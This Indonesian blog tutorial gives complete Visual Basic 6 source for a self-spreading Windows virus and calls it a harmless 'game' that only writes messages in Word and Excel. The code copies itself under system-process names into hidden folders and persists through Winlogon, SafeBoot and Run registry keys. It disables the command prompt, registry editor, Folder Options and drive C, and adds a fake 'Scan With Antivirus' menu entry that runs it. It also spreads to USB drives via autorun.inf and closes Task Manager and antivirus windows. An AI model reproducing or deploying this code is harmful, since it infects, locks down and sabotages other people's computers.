Virus For MsWord Etc
Oleh
chmood
Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.
Masukan semua code di bawah ini pada form
==========================================
Private Declare Function FindWindow Lib βuser32β Alias βFindWindowAβ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long βpencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib βuser32β Alias βSendMessageAβ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long βsendmessage
Private Declare Function GetDriveType& Lib βKernel32β Alias βGetDriveTypeAβ (ByVal nDrive As String) β penghandel flashdisk
Private Declare Function ExitWindowsEx Lib βuser32β (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long βexit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8
Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk
Private Sub Form_Load()
On Error Resume Next
βacak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) βsilahkan masukan angka sesuka anda
βmenggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False βvirus tidak terlihat di task manager
InfeksiRegistry
End Sub
Sub BuatWord()
On Error Resume Next
Set obj = CreateObject(βword.applicationβ)
Set doc = CreateObject(βword.applicationβ)
Set doc = obj.Documents.Add
doc.Content = βVIRUS BERHASIL MENGINFEKSIMU β SALAM KENALβ
End Sub
Sub BuatXls()
On Error Resume Next
Set obj = CreateObject(βexcel.applicationβ)
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = βVIRUS BERHASIL MENGINFEKSIMU β SALAM KENALβ
End Sub
Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite βHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shellβ, βExplorer.exeβ & β βββ & FolderMyDocuments & β\services.exeβββ βvirus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite βHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShellβ, FolderFavorites & β\SalamKenal.exeβ βvirus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptionsβ, 1, βREG_DWORDβ βFolder Options tdk dapat diakses
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptionsβ, 1, βREG_DWORDβ βFolder Options tdk dapat diakses
RegRun.regwrite βHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHiddenβ, 0, βREG_DWORDβ βSembunyikan file beratribut superhidden/File-file system
RegRun.regwrite βHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHiddenβ, 0, βREG_DWORDβ βSembunyikan file beratribut superhidden/File-file system
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMDβ, 1, βREG_DWORDβ βDisable CMD dan File .Bat
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMDβ, 1, βREG_DWORDβ βDisable CMD dan File .Bat
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryToolsβ, 1, βREG_DWORDβ βregistry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryToolsβ, 1, βREG_DWORDβ βregistry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogonβ, FolderTemplates & β\smss.exeβ βsmss.exe berjalan pada saat startup
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogonβ, FolderSendTo & β\System.exeβ βSystem.exe berjalan pada saat startup
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFindβ, 1, βREG_DWORDβ βsearch pd star menu hilang
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFindβ, 1, βREG_DWORDβ βSsearch pd star menu hilang
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelpβ, 1, βREG_DWORDβ βhelp suport pd star menu hilang
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelpβ, 1, βREG_DWORDβ βhelp suport pd star menu hilang
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoCloseβ, 1, βREG_DWORDβ βTombol Turn Off pd star menu hilang
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoCloseβ, 1, βREG_DWORDβ βTombol Turn Off pd star menu hilang
RegRun.regwrite βHKEY_CURRENT_USER\Control Panel\Colors\WindowTextβ, β255 0 0β, βREG_SZβ βDEFAULT TEKS MENJADI MERAH
RegRun.regwrite βHKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\β, FolderFavorites & β\SalamKenal.exeβ βMembuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrivesβ, 4, βREG_DWORDβ βDrive C hilang
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrivesβ, 4, βREG_DWORDβ βDrive C hilang
RegRun.regwrite βHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenuβ, 1, βREG_DWORDβ βMenu File pada Windows Ekplorer hilang
RegRun.regwrite βHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenuβ, 1, βREG_DWORDβ βMenu File pada Windows Ekplorer hilang
RegRun.regwrite βHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorunβ, 1, βREG_DWORDβ βAutorun pada CD atau USB
End Sub
Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & β\Winlogon.exeβ) <> βWinlogon.exeβ Then βmengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & β\Winlogon.exeβ, FlashDisk & β\Winlogon.exeβ
SetAttr FlashDisk & β\Winlogon.exeβ, vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
βmembuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & β\Autorun.Infβ For Output As 1
Print #1, β[AutoRun]β
Print #1, βIcon=Winlogon.exeβ βAgar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, βOpen=Winlogon.exeβ
Print #1, βShellExecute=Winlogon.exeβ
Print #1, βShell\Open\Command=Winlogon.exeβ
Print #1, βShell=Openβ
Close #1
SetAttr FlashDisk & β\Autorun.Infβ, vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject(βWScript.Shellβ)
FolderStartUp = RegRun.specialfolders(βStartUpβ)
FolderMyDocuments = RegRun.specialfolders(βMyDocumentsβ)
FolderTemplates = RegRun.specialfolders(βTemplatesβ)
FolderNetHood = RegRun.specialfolders(βNetHoodβ)
FolderPrintHood = RegRun.specialfolders(βPrintHoodβ)
FolderFavorites = RegRun.specialfolders(βFavoritesβ)
FolderSendTo = RegRun.specialfolders(βSendToβ)
FolderPrograms = RegRun.specialfolders(βProgramsβ)
On Error Resume Next
βmembuat virus dengan nama winlogon.exe
FileCopy App.Path & β\β & App.EXEName & β.exeβ, FolderStartUp & β\WinLogon.Exeβ
SetAttr FolderStartUp & β\Winlogon.exeβ, vbHidden + vbSystem + vbReadOnly
βmembuat virus dengan nama services.exe
FileCopy App.Path & β\β & App.EXEName & β.exeβ, FolderMyDocuments & β\services.Exeβ
SetAttr FolderMyDocuments & β\services.exeβ, vbHidden + vbSystem + vbReadOnly
βmembuat virus dengan nama smss.exe
FileCopy App.Path & β\β & App.EXEName & β.exeβ, FolderTemplates & β\smss.Exeβ
SetAttr FolderTemplates & β\smss.Exeβ, vbHidden + vbSystem + vbReadOnly
βmembuat virus dengan nama csrss.exe
FileCopy App.Path & β\β & App.EXEName & β.exeβ, FolderPrintHood & β\csrss.Exeβ
SetAttr FolderPrintHood & β\csrss.exeβ, vbHidden + vbSystem + vbReadOnly
βmembuat virus dengan nama Isass.exe
FileCopy App.Path & β\β & App.EXEName & β.exeβ, FolderNetHood & β\Isass.Exeβ
SetAttr FolderNetHood & β\Isass.exeβ, vbHidden + vbSystem + vbReadOnly
βmembuat virus dengan nama SalamKenal.exe
FileCopy App.Path & β\β & App.EXEName & β.exeβ, FolderFavorites & β\SalamKenal.Exeβ
SetAttr FolderFavorites & β\SalamKenal.exeβ, vbHidden + vbSystem + vbReadOnly
βmembuat virus dengan nama System.exe
FileCopy App.Path & β\β & App.EXEName & β.exeβ, FolderSendTo & β\System.Exeβ
SetAttr FolderSendTo & β\System.exeβ, vbHidden + vbSystem + vbReadOnly
βmembuat virus dengan nama ctfmon.exe
FileCopy App.Path & β\β & App.EXEName & β.exeβ, FolderPrograms & β\ctfmon.Exeβ
SetAttr FolderPrograms & β\ctfmon.exeβ, vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Timer1_Timer() βTimer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow(βOpusAppβ, βDocument1 β Microsoft Wordβ) βMs Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(βOpusAppβ, βNew Microsoft Word Document.doc β Microsoft Wordβ) βMs Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow(βXLMAINβ, βMicrosoft Excel β Book1β) βms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(βXLMAINβ, βMicrosoft Excel β New Microsoft Excel Worksheet.xlsβ) βms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
βmenutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow(β#32770β, βRUNβ) βjendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(β#32770β, βSystem Configuration Utilityβ) βmsconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(β#32770β, βWindows Task Managerβ) βtask manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(β#32770β, βAvira AntiVir Personal β Free Antivirusβ) βAvira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(β#32770β, βAntiVir Guard: Attention, Detection!β) βAvira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(βRegEdit_RegEditβ, vbNullString) βregedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(βTMainFormβ, vbNullString) βaplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(βTApplicationβ, vbNullString) βaplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub
Private Sub Timer4_Timer()
βcari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount β 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> βaβ Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False βagar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk β
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
βMungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
βmenyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> βaβ Then
Timer4.Enabled = True
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
SilahkanΒ Download ProjectΒ Di Download/Upload GratisΒ Join 4Shared Now!, Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.
Category